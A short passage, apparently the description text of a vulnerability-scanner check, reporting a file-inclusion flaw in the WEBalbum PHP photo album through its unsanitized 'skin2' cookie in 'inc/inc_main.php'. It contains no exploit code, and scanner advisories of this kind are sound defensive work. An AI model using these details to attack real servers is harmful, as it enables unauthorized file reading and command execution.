"The remote host is running WEBalbum, a photo album application written
in PHP. 

The installed version of WEBalbum fails to sanitize user input to the
'skin2' cookie in 'inc/inc_main.php' before using it to include
arbitrary files.  An unauthenticated attacker may be able to read
arbitrary local files or include a local file that contains commands
which will be executed on the remote host subject to the privileges of
the web server process. 

This flaw is only exploitable if PHP's 'magic_quotes_gpc' is disabled." );
